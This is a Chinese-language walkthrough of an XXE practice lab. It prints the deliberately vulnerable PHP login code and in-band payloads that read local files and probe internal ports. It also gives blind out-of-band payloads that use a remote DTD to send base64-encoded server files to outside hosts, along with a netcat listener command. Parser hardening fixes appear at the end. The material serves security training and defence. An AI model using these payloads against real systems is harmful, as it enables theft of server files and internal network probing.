靶场地址：https://github.com/c0ny1/xxe-lab

<?php/*** autor: c0ny1* date: 2018-2-7*/
$USERNAME = 'admin'; //账号$PASSWORD = 'admin'; //密码$result = null;
libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档
try{    $dom = new DOMDocument();//创建XML的对象    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。    $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档
    $username = $creds->username;//获取username标签的值    $password = $creds->password;//获取password标签的值
    if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签，不然的话找不到username,就没有了输出了，我们也不能通过回显来获取信息了    }else{        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同，都会输出username的值，都可以达到我们的目的    }    }catch(Exception $e){    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());}
header('Content-Type: text/html; charset=utf-8');echo $result;?>

<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">]><user><username>&test;</username><password>Mikasa</password></user>

一般XXE利用分为两大场景：有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象，无回显的情况又称为blind xxe可以使用外带数据通道提取数据xxe-lab是有回显的

file：///                   #file协议读取文件http://url/file.txt         #http协议读取站点下的文件PHP://filter                                 #文件流形式读取php文件

php://filter/read=convert.base64-encode/resource=/etc/hosts

PHP://filter/read=convert.base64-encode/resource=D:/phpstudy/WWW/test/Bachang/XXE/php_xxe/doLogin.php

DOMDocument::loadXML(http://127.0.0.1:902): failed to open stream: HTTP request failed! 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supp in <b>D:\phpstudy\WWW\test\Bachang\XXE\php_xxe\doLogin.php

1.查看受攻击机的服务器日志2.通过Dnslog平台查看是否进行查询3.Burp Collaborator Everywhere 插件验证

查看访问日志验证是否具有XXE漏洞查看访问日志验证是否具有XXE漏洞

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/READEME.md"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.101/test.dtd">%remote;%int;%send;]>

%remote请求远程vps上的test.dtd%int调用test.dtd中的%file%file获取被攻击服务器上的敏感文件，并传入%send%send将数据发送到ceye.io上

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://39.xxx.xxx.xxx/test.dtd">%remote;%int;%send;]>

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://39.xxx.xx.xxx/test.dtd">%remote;%int;%send;]>

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://39.xxx.xx.xxx:4444?p=%file;'>">

python -m SimpleHTTPServer 4444或nc -lvvp 4444

https://github.com/luisfontes19/xxexploiter

libxml_disable_entity_loader(true);

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))